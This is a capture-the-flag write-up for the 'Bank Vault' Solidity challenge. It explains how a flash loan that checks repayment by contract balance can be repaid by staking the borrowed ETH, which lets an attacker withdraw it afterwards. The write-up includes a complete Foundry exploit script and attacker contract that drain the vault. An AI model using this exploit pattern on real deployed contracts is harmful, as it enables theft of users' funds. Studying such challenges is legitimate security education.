Writeup for Bank Vault
- Before diving into this writeup, it’s crucial to have a solid understanding of Foundry, a powerful framework for Ethereum smart contract development. Foundry will be your primary tool for writing, testing, and breaking contracts in this guide.
Challenge Description
Bank Vaults is a liquid staking protocol where users can store funds and earn yeild in the form of yeild tokens. The owners has assured me it is secured and no rug pull can occur and users funds are locked in. Can you prove them wrong?
Author: MaanVad3r
The Challenge and Exploit
The below are source contracts
- Setup contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.25;
3
4import "./BankVaults.sol";
5import {MockERC20} from "./MockERC20.sol";
6contract Setup {
7 BankVaults public challengeInstance;
8
9 constructor() payable {
10 require(msg.value == 50 ether, "Setup requires exactly 50 ETH to initialize the challenge");
11
12
13 MockERC20 mockERC20 = new MockERC20(1_000_000 ether);
14
15 // Step 2: Deploy the BankVaults contract with the MockERC20 address
16 challengeInstance = new BankVaults{value: 50 ether}(IERC20(address(mockERC20)));
17 }
18
19 function isSolved() public view returns (bool) {
20 // The challenge is solved if the ETH balance of the BankVaults contract is 0
21 return address(challengeInstance).balance == 0;
22 }
23}
- MOCKERC20 contract
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.24;
3
4interface IToken {
5 function approve(address spender, uint256 value) external returns (bool);
6 function transfer(address to, uint256 value) external returns (bool);
7 function transferFrom(address from, address to, uint256 value) external returns (bool);
8 function balanceOf(address owner) external view returns (uint256);
9}
10
11contract MockERC20 is IToken {
12 uint256 public totalSupply;
13 mapping(address => uint256) balances;
14 mapping(address => mapping(address => uint256)) allowed;
15
16 constructor(uint256 _initialAmount) {
17 balances[msg.sender] = _initialAmount;
18 totalSupply = _initialAmount;
19 }
20
21 function balanceOf(address _owner) public view override returns (uint256) {
22 return balances[_owner];
23 }
24
25 function transfer(address _to, uint256 _value) public override returns (bool) {
26 require(balances[msg.sender] >= _value);
27 balances[msg.sender] -= _value;
28 balances[_to] += _value;
29 return true;
30 }
31
32 function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
33 require(allowed[_from][msg.sender] >= _value);
34 require(balances[_from] >= _value);
35 balances[_to] += _value;
36 balances[_from] -= _value;
37 allowed[_from][msg.sender] -= _value;
38 return true;
39 }
40
41 function approve(address _spender, uint256 _value) public override returns (bool) {
42 allowed[msg.sender][_spender] = _value;
43 return true;
44 }
45}
- BankVault contract
1// SPDX-License-Identifier: MIT
2pragma solidity ^0.8.0;
3
4interface IERC20 {
5 function totalSupply() external view returns (uint256);
6 function balanceOf(address account) external view returns (uint256);
7 function transfer(address recipient, uint256 amount) external returns (bool);
8 function approve(address spender, uint256 amount) external returns (bool);
9 function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
10 function allowance(address allowanceOwner, address spender) external view returns (uint256);
11}
12
13interface IERC4626 {
14 function withdraw(uint256 assets, address receiver, address withdrawOwner) external returns (uint256 shares);
15 function redeem(uint256 shares, address receiver, address redeemOwner) external returns (uint256 assets);
16 function totalAssets() external view returns (uint256);
17 function convertToShares(uint256 assets) external view returns (uint256);
18 function convertToAssets(uint256 shares) external view returns (uint256);
19 function maxDeposit(address receiver) external view returns (uint256);
20 function maxMint(address receiver) external view returns (uint256);
21 function maxWithdraw(address withdrawOwner) external view returns (uint256);
22 function maxRedeem(address redeemOwner) external view returns (uint256);
23}
24
25interface IFlashLoanReceiver {
26 function executeFlashLoan(uint256 amount) external;
27}
28
29contract BankVaults is IERC4626 {
30 IERC20 public immutable asset;
31 mapping(address => uint256) public balances;
32 mapping(address => uint256) public stakeTimestamps;
33 mapping(address => bool) public isStaker;
34 address public contractOwner;
35 uint256 public constant MINIMUM_STAKE_TIME = 2 * 365 days;
36
37 string public name = "BankVaultToken";
38 string public symbol = "BVT";
39 uint8 public decimals = 18;
40 uint256 public totalSupply;
41 mapping(address => uint256) public vaultTokenBalances;
42 mapping(address => mapping(address => uint256)) public allowances;
43
44 modifier onlyStaker() {
45 require(isStaker[msg.sender], "Caller is not a staker");
46 _;
47 }
48
49 constructor(IERC20 _asset) payable {
50 asset = _asset;
51 contractOwner = msg.sender;
52
53
54 uint256 initialSupply = 10_000_000 ether;
55 vaultTokenBalances[contractOwner] = initialSupply;
56 totalSupply = initialSupply;
57 }
58
59 // Native ETH staking
60 function stake(address receiver) public payable returns (uint256 shares) {
61 require(msg.value > 0, "Must deposit more than 0");
62
63 shares = convertToShares(msg.value);
64 balances[receiver] += msg.value;
65 stakeTimestamps[receiver] = block.timestamp;
66
67 vaultTokenBalances[receiver] += shares;
68 totalSupply += shares;
69
70 isStaker[receiver] = true;
71
72 return shares;
73 }
74
75 function withdraw(uint256 assets, address receiver, address owner) public override onlyStaker returns (uint256 shares) {
76
77 require(vaultTokenBalances[owner] >= assets, "Insufficient vault token balance");
78 uint256 yield = (assets * 1) / 100;
79 uint256 totalReturn = assets + yield;
80 require(address(this).balance >= assets, "Insufficient contract balance");
81
82
83 shares = convertToShares(assets);
84 vaultTokenBalances[owner] -= assets;
85 totalSupply -= assets;
86 balances[owner] -= assets;
87 isStaker[receiver] = false;
88
89
90 payable(receiver).transfer(assets);
91
92 return shares;
93 }
94
95 function calculateYield(uint256 assets, uint256 duration) public pure returns (uint256) {
96 if (duration >= 365 days) {
97 return (assets * 5) / 100;
98 } else if (duration >= 180 days) {
99 return (assets * 3) / 100;
100 } else {
101 return (assets * 1) / 100;
102 }
103 }
104
105
106 function flashLoan(uint256 amount, address receiver, uint256 timelock) public {
107 require(amount > 0, "Amount must be greater than 0");
108 require(balances[msg.sender] > 0, "No stake found for the user");
109
110 unchecked {
111 require(timelock >= stakeTimestamps[msg.sender] + MINIMUM_STAKE_TIME, "Minimum stake time not reached");
112 }
113
114 require(address(this).balance >= amount, "Insufficient ETH for flash loan");
115
116 uint256 balanceBefore = address(this).balance;
117
118 (bool sent, ) = receiver.call{value: amount}("");
119 require(sent, "ETH transfer failed");
120
121 IFlashLoanReceiver(receiver).executeFlashLoan(amount);
122
123 uint256 balanceAfter = address(this).balance;
124
125 require(balanceAfter >= balanceBefore, "Flash loan wasn't fully repaid in ETH");
126 }
127
128
129 function redeem(uint256 shares, address receiver, address owner) public override returns (uint256 assets) {
130 require(shares > 0, "Must redeem more than 0");
131 require(vaultTokenBalances[owner] >= shares, "Insufficient vault token balance");
132 require(block.timestamp >= stakeTimestamps[owner] + MINIMUM_STAKE_TIME, "Minimum stake time not reached");
133
134 assets = convertToAssets(shares);
135
136 vaultTokenBalances[owner] -= shares;
137 totalSupply -= shares;
138 balances[owner] -= assets;
139
140 require(asset.transfer(receiver, assets), "Redemption failed");
141 return assets;
142 }
143
144 function rebalanceVault(uint256 threshold) public returns (bool) {
145 require(threshold > 0, "Threshold must be greater than 0");
146 uint256 assetsInVault = asset.balanceOf(address(this));
147 uint256 sharesToBurn = convertToShares(assetsInVault / 2);
148 totalSupply -= sharesToBurn;
149 return true;
150 }
151
152 function dynamicConvert(uint256 assets, uint256 multiplier) public pure returns (uint256) {
153 return (assets * multiplier) / 10;
154 }
155
156 function convertToShares(uint256 assets) public view override returns (uint256) {
157 return assets;
158 }
159
160 function convertToAssets(uint256 shares) public view override returns (uint256) {
161 return shares;
162 }
163
164 function totalAssets() public view override returns (uint256) {
165 return asset.balanceOf(address(this));
166 }
167
168 function maxDeposit(address) public view override returns (uint256) {
169 return type(uint256).max;
170 }
171
172 function maxMint(address) public view override returns (uint256) {
173 return type(uint256).max;
174 }
175
176 function maxWithdraw(address withdrawOwner) public view override returns (uint256) {
177 return vaultTokenBalances[withdrawOwner];
178 }
179
180 function maxRedeem(address redeemOwner) public view override returns (uint256) {
181 return vaultTokenBalances[redeemOwner];
182 }
183
184 receive() external payable {}
185}
Our task is to make the Setup:isSolved
function return true. This function will return true when the balance of the BankVaults
contract becomes zero. The BankVaults
contract is initialized with 50 ether during deployment. To solve this challenge, we need to drain and steal the 50 ether from BankVaults
contract.
1function stake(address receiver) public payable returns (uint256 shares) {
2 require(msg.value > 0, "Must deposit more than 0");
3
4 shares = convertToShares(msg.value);
5 balances[receiver] += msg.value;
6 stakeTimestamps[receiver] = block.timestamp;
7
8 vaultTokenBalances[receiver] += shares;
9 totalSupply += shares;
10
11 isStaker[receiver] = true;
12
13 return shares;
14}
The stake()
function takes an argument of type address
(receiver) as input and increases the receiver’s balance by the amount of msg.value
(ETH sent during the call). When someone stakes native ETH, the contract gives vault tokens
to the receiver. The number of vault token shares is determined by the BankVaults:convertToShares
function. However, there is no logic implemented in the BankVaults:convertToShares
function—it simply returns the amount passed to it.
1function withdraw(uint256 assets, address receiver, address owner) public override onlyStaker returns (uint256 shares) {
2 require(vaultTokenBalances[owner] >= assets, "Insufficient vault token balance");
3 uint256 yield = (assets * 1) / 100;
4 uint256 totalReturn = assets + yield;
5 require(address(this).balance >= assets, "Insufficient contract balance");
6 shares = convertToShares(assets);
7 vaultTokenBalances[owner] -= assets;
8 totalSupply -= assets;
9 balances[owner] -= assets;
10 isStaker[receiver] = false;
11 payable(receiver).transfer(assets);
12 return shares;
13 }
The withdraw()
function takes three arguments: a uint256
(assets
), an address
(receiver
), and an address
(owner
). The function transfers the staked ETH from the owner to the receiver and reduces the owner’s vault token balance. If the owner does not have enough balance, the function will revert.
Additionally, there is no risk of re-entrancy in this function, as it follows the Check-Effect-Interaction (CEI) pattern. This pattern ensures that state changes (like reducing balances) are made before any external calls (such as transferring ETH). Since re-entrancy is not a concern, we should check for other possible ways to drain the contract balance.
1function flashLoan(uint256 amount, address receiver, uint256 timelock) public {
2 require(amount > 0, "Amount must be greater than 0");
3 require(balances[msg.sender] > 0, "No stake found for the user");
4
5 unchecked {
6 require(timelock >= stakeTimestamps[msg.sender] + MINIMUM_STAKE_TIME, "Minimum stake time not reached");
7 }
8
9 require(address(this).balance >= amount, "Insufficient ETH for flash loan");
10
11 uint256 balanceBefore = address(this).balance;
12
13 (bool sent, ) = receiver.call{value: amount}("");
14 require(sent, "ETH transfer failed");
15
16 IFlashLoanReceiver(receiver).executeFlashLoan(amount);
17
18 uint256 balanceAfter = address(this).balance;
19
20 require(balanceAfter >= balanceBefore, "Flash loan wasn't fully repaid in ETH");
21}
The flashLoan()
function takes three arguments as input: a uint256
(amount
), an address
(receiver
), and a uint256
(timelock
). The function grants a flash loan to the receiver. The receiver must be a contract because, after transferring the ether, the function calls executeFlashLoan()
on the receiver, and the receiver must repay the loan amount within the same transaction. The flashLoan()
function can only be called by users who have staked ETH in the contract.
A key feature of this function is that it checks whether the loan has been repaid by comparing the contract’s balance before and after the loan transfer. If the balance has decreased (indicating that the loan wasn’t fully repaid), the function will revert.
The function expects the loan repayment to be verified by comparing the contract’s balance before and after the loan transfer. It uses a low-level call to send the loan amount, and the loan is expected to be repaid within the same transaction. However, if the stake()
function is called instead of the low-level call, there will be no change in the balance (as the staked ether remains in the contract). As a result, the flashLoan() function will execute successfully, but the contract’s balance will be updated to include the loan amount, bypassing the loan repayment check.
Since the loan receiver contract holds the balance after the flash loan transfer, it is possible to directly withdraw the stake of the loan receiver.
Now It’s time to exploit the contract. The below is the exploit script.
1// SPDX-License-Identifier: SEE LICENSE IN LICENSE
2pragma solidity ^0.8.0;
3
4import {Setup,MockERC20,BankVaults} from "../../../src/WarGames_CTF/BankVault/Setup.sol";
5import {Script,console} from "forge-std/Script.sol";
6
7
8contract Exploit is Script{
9 function run()public{
10
11 vm.startBroadcast();
12 address _setup=address(/* YOUR_SETUP_ADDRESS*/);
13 Setup setup=Setup(_setup);
14 BankVaults bank=setup.challengeInstance();
15 ExploitBankVault exploit=new ExploitBankVault(bank);
16 bank.stake{value:1}(msg.sender);
17 bank.flashLoan(50 ether,address(exploit),block.timestamp+ 3* 365 days);
18 bank.withdraw(50 ether,msg.sender,address(exploit));
19 bank.stake{value:1}(msg.sender);
20 bank.withdraw(2,msg.sender,msg.sender);
21 vm.stopBroadcast();
22 }
23}
24
25contract ExploitBankVault{
26 BankVaults bank;
27
28 constructor(BankVaults _bank){
29 bank=_bank;
30 }
31
32
33 function executeFlashLoan(uint256 amount) external{
34 bank.stake{value:50 ether}(address(this));
35 }
36
37 receive() external payable{}
38}
***Hope you enjoyed this write-up. Keep on hacking and learning!***
Comments